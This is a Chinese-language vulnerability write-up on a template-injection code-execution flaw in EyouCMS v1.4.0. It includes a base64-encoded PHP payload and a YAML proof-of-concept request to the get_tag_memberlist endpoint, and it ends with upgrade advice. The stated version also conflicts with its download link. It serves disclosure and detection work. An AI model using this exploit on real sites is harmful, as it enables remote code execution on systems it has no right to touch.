0x001 EyouCMS描述
EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统、专注企业建站用户需求<br />提供海量各行业模板、降低中小企业网站建设、网络营销成本、致力于打造用户舒适的建站体验。
0x002 漏洞版本
EyouCMS v1.4.0
源码下载地址 https://update.eyoucms.com/source/EyouCMS-V1.3.9-UTF8-SP1.zip
0x003 漏洞代码
漏洞文件地址:EyouCMS\application\api\controller\Ajax.php
0x004 漏洞分析
首先我们很明显的看到这段代码中存在一个标签的拼接操作,随后对拼接后的语句进行模板渲染,
然后程序先POST获取”attarray”这个属性值没然后对获取的值进行base64解密然后与”{eyou:memberlist” 进行拼接,最终拼接成类似这种形式:
{eyou:memberlist $key='$val' js='on'}
然后通过“}”来闭合前面的标签,然后达到任意代码执行的问题。
因为解析的是json内容我们只需要输入类似{"}":"{php}echo md5('111');{\/php}"} base64
编码后的内容就可以任意代码执行了。
将上边代码base64加密后
eyJ9Ijoie3BocH1lY2hvIG1kNSgnMTExJyk7e1wvcGhwfSJ9IA==
0x005 POC编写
params: []
name: poc_eyoucms_任意代码执行
set: {}
rules:
– method: POST
path: /?m=api&c=Ajax&a=get_tag_memberlist
headers:
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
body: ‘attarray=eyJ9Ijoie3BocH1lY2hvIG1kNSgnMTExJyk7e1wvcGhwfSJ9IA== ‘
search: “”
followredirects: false
expression: response.status == 200 && response.body.bcontains(b”698d51a19d8a121ce581499d7b701668”) groups: {}
detail:
author: “”
links: []
description: “”
version: “”
0x006 解决方案
升级至安全版本 EyouCMS v1.5.7<br /> 下载地址:[https://update.eyoucms.com/source/EyouCMS-V1.5.7-UTF8-SP1.zip](https://update.eyoucms.com/source/EyouCMS-V1.5.7-UTF8-SP1.zip)
请登录后查看回复内容